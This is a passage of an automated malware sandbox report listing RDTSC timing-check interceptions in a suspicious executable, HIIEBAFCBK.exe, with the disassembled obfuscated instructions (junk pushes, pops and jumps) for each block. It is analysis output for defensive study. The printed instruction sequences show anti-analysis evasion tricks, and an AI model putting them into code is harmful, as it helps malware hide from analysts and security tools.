Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50D0E7F second address: 50D0E9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F473118FE5Dh 0x00000008 mov di, si 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov esi, edx 0x00000014 mov bh, 4Ah 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 51200EE second address: 51200F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 51200F4 second address: 51200F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 51200F8 second address: 5120159 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F47311907B9h 0x00000012 add ecx, 10EBF8C6h 0x00000018 jmp 00007F47311907B1h 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007F47311907B0h 0x00000024 xor ax, 5968h 0x00000029 jmp 00007F47311907ABh 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 5120159 second address: 5120171 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F473118FE64h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 5120171 second address: 51201A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b jmp 00007F47311907B7h 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 mov ebx, 6C6584D4h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50B0103 second address: 50B0113 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F473118FE5Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50B0113 second address: 50B0128 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov edi, 2140E46Ch 0x00000011 movsx ebx, cx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50B0128 second address: 50B01A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007F473118FE66h 0x00000011 mov ebp, esp 0x00000013 jmp 00007F473118FE60h 0x00000018 push dword ptr [ebp+04h] 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push edx 0x0000001f pop esi 0x00000020 pushfd 0x00000021 jmp 00007F473118FE69h 0x00000026 xor cl, FFFFFFB6h 0x00000029 jmp 00007F473118FE61h 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50D0B73 second address: 50D0B77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50D0B77 second address: 50D0B7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50D0B7B second address: 50D0B81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50D0B81 second address: 50D0BD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, di 0x00000006 jmp 00007F473118FE67h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushfd 0x00000013 jmp 00007F473118FE65h 0x00000018 xor ecx, 5B1F6EE6h 0x0000001e jmp 00007F473118FE61h 0x00000023 popfd 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50D0BD3 second address: 50D0BE7 instructions: 0x00000000 rdtsc 0x00000002 mov di, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 movzx eax, bx 0x0000000a popad 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov ah, 1Ah 0x00000011 mov eax, edx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50D0772 second address: 50D0784 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F473118FE5Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E02B4 second address: 50E02C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47311907AEh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E02C6 second address: 50E030B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F473118FE5Bh 0x00000015 sbb esi, 0CF53BDEh 0x0000001b jmp 00007F473118FE69h 0x00000020 popfd 0x00000021 movzx esi, dx 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E030B second address: 50E0386 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47311907AAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F47311907AEh 0x00000012 and si, 7308h 0x00000017 jmp 00007F47311907ABh 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007F47311907B8h 0x00000023 or si, 1568h 0x00000028 jmp 00007F47311907ABh 0x0000002d popfd 0x0000002e popad 0x0000002f pop ebp 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 mov ax, di 0x00000036 jmp 00007F47311907B7h 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 512000C second address: 5120052 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 0745874Dh 0x00000008 pushfd 0x00000009 jmp 00007F473118FE5Ah 0x0000000e and cx, 8668h 0x00000013 jmp 00007F473118FE5Bh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 push edi 0x00000021 pop esi 0x00000022 call 00007F473118FE67h 0x00000027 pop esi 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50D05A0 second address: 50D05B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 mov ah, 19h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov bx, FD12h 0x00000013 push edx 0x00000014 pop eax 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E0E1E second address: 50E0E22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E0E22 second address: 50E0E35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47311907AFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E0E35 second address: 50E0E90 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F473118FE5Eh 0x0000000f push eax 0x00000010 jmp 00007F473118FE5Bh 0x00000015 xchg eax, ebp 0x00000016 jmp 00007F473118FE66h 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov di, 0E00h 0x00000024 pushad 0x00000025 popad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E0E90 second address: 50E0EB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, ch 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push edx 0x0000000d pop eax 0x0000000e jmp 00007F47311907B1h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50F011B second address: 50F011F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50F011F second address: 50F0123 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50F0123 second address: 50F0129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50F0129 second address: 50F012E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50F012E second address: 50F0176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F473118FE5Fh 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edx 0x0000000e jmp 00007F473118FE64h 0x00000013 mov dword ptr [esp], ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F473118FE67h 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50F0176 second address: 50F01BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47311907B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov ebx, ecx 0x0000000e mov esi, 36364F9Fh 0x00000013 popad 0x00000014 pop ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov al, bl 0x0000001a call 00007F47311907B8h 0x0000001f pop eax 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50F01BE second address: 50F01C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50F01C4 second address: 50F01C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50F01C8 second address: 50F01CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 5110786 second address: 511079B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47311907B1h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 511079B second address: 5110830 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov bx, cx 0x00000010 push esi 0x00000011 mov si, di 0x00000014 pop ebx 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 call 00007F473118FE67h 0x0000001d mov edx, eax 0x0000001f pop esi 0x00000020 mov al, bh 0x00000022 popad 0x00000023 xchg eax, ebp 0x00000024 pushad 0x00000025 jmp 00007F473118FE5Ah 0x0000002a pushfd 0x0000002b jmp 00007F473118FE62h 0x00000030 and ecx, 097AC888h 0x00000036 jmp 00007F473118FE5Bh 0x0000003b popfd 0x0000003c popad 0x0000003d mov ebp, esp 0x0000003f jmp 00007F473118FE66h 0x00000044 xchg eax, ecx 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 movsx ebx, ax 0x0000004b mov cl, 09h 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 5110830 second address: 511084B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47311907B7h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 511084B second address: 5110861 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F473118FE5Bh 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 5110861 second address: 5110884 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47311907B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 5110884 second address: 511088C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cx, bx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 511088C second address: 5110920 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F47311907B0h 0x00000009 sub cx, 6D38h 0x0000000e jmp 00007F47311907ABh 0x00000013 popfd 0x00000014 call 00007F47311907B8h 0x00000019 pop eax 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov eax, dword ptr [76FA65FCh] 0x00000022 pushad 0x00000023 mov di, 0762h 0x00000027 jmp 00007F47311907B3h 0x0000002c popad 0x0000002d test eax, eax 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007F47311907ABh 0x00000038 sbb esi, 7FAF250Eh 0x0000003e jmp 00007F47311907B9h 0x00000043 popfd 0x00000044 mov bx, ax 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 5110920 second address: 511096D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F473118FE63h 0x00000008 pop esi 0x00000009 mov dh, 89h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e je 00007F47A2FA2E80h 0x00000014 jmp 00007F473118FE60h 0x00000019 mov ecx, eax 0x0000001b jmp 00007F473118FE60h 0x00000020 xor eax, dword ptr [ebp+08h] 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 511096D second address: 5110973 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 5110A4F second address: 5110AF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F473118FE5Ch 0x00000011 sbb esi, 5EE8D0E8h 0x00000017 jmp 00007F473118FE5Bh 0x0000001c popfd 0x0000001d call 00007F473118FE68h 0x00000022 push ecx 0x00000023 pop edi 0x00000024 pop eax 0x00000025 popad 0x00000026 push eax 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007F473118FE5Ah 0x0000002e adc ecx, 5255AE78h 0x00000034 jmp 00007F473118FE5Bh 0x00000039 popfd 0x0000003a pushfd 0x0000003b jmp 00007F473118FE68h 0x00000040 xor eax, 1489C8D8h 0x00000046 jmp 00007F473118FE5Bh 0x0000004b popfd 0x0000004c popad 0x0000004d xchg eax, ebp 0x0000004e pushad 0x0000004f pushad 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 5110AF9 second address: 5110B34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F47311907B0h 0x0000000a xor cl, 00000038h 0x0000000d jmp 00007F47311907ABh 0x00000012 popfd 0x00000013 popad 0x00000014 mov bx, ax 0x00000017 popad 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F47311907ACh 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 5110B34 second address: 5110B3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C0008 second address: 50C0038 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, 5FD7h 0x00000007 pushfd 0x00000008 jmp 00007F47311907ACh 0x0000000d sbb esi, 03162A48h 0x00000013 jmp 00007F47311907ABh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C0038 second address: 50C003C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C003C second address: 50C0040 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C0040 second address: 50C0046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C0046 second address: 50C005B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47311907AAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C005B second address: 50C0077 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE68h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C0077 second address: 50C0089 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47311907AEh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C0089 second address: 50C00AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F473118FE60h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C00AF second address: 50C00B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C00B3 second address: 50C00B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C00B9 second address: 50C0143 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F47311907B3h 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e jmp 00007F47311907AFh 0x00000013 and esp, FFFFFFF8h 0x00000016 pushad 0x00000017 mov ebx, ecx 0x00000019 push esi 0x0000001a mov cx, di 0x0000001d pop ebx 0x0000001e popad 0x0000001f xchg eax, ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F47311907ABh 0x00000029 and eax, 562FD76Eh 0x0000002f jmp 00007F47311907B9h 0x00000034 popfd 0x00000035 pushfd 0x00000036 jmp 00007F47311907B0h 0x0000003b adc ax, 6AE8h 0x00000040 jmp 00007F47311907ABh 0x00000045 popfd 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C0143 second address: 50C017B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F473118FE61h 0x0000000f xchg eax, ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov si, 2F45h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C017B second address: 50C0212 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F47311907B1h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebx 0x0000000e pushad 0x0000000f mov ah, DAh 0x00000011 pushfd 0x00000012 jmp 00007F47311907AFh 0x00000017 adc ecx, 7C43AD9Eh 0x0000001d jmp 00007F47311907B9h 0x00000022 popfd 0x00000023 popad 0x00000024 push eax 0x00000025 pushad 0x00000026 movsx edi, si 0x00000029 pushfd 0x0000002a jmp 00007F47311907B8h 0x0000002f xor ecx, 54EEA6C8h 0x00000035 jmp 00007F47311907ABh 0x0000003a popfd 0x0000003b popad 0x0000003c xchg eax, ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F47311907B5h 0x00000044 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C0212 second address: 50C0222 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F473118FE5Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C0222 second address: 50C025D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47311907ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebx, dword ptr [ebp+10h] 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushfd 0x00000012 jmp 00007F47311907B2h 0x00000017 or si, B6B8h 0x0000001c jmp 00007F47311907ABh 0x00000021 popfd 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C036C second address: 50C0393 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 call 00007F473118FE67h 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, edi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C0393 second address: 50C0397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C0397 second address: 50C039D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C039D second address: 50C0431 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F47311907ADh 0x00000012 sbb esi, 226DDF06h 0x00000018 jmp 00007F47311907B1h 0x0000001d popfd 0x0000001e mov ebx, esi 0x00000020 popad 0x00000021 je 00007F47A2FEE9E9h 0x00000027 pushad 0x00000028 push eax 0x00000029 mov cx, dx 0x0000002c pop edi 0x0000002d pushfd 0x0000002e jmp 00007F47311907B0h 0x00000033 and al, FFFFFFD8h 0x00000036 jmp 00007F47311907ABh 0x0000003b popfd 0x0000003c popad 0x0000003d cmp dword ptr [esi+08h], DDEEDDEEh 0x00000044 pushad 0x00000045 movzx esi, bx 0x00000048 mov dx, ECB4h 0x0000004c popad 0x0000004d je 00007F47A2FEE9C2h 0x00000053 jmp 00007F47311907B3h 0x00000058 mov edx, dword ptr [esi+44h] 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 popad 0x00000061 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C0431 second address: 50C0435 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C0435 second address: 50C043B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
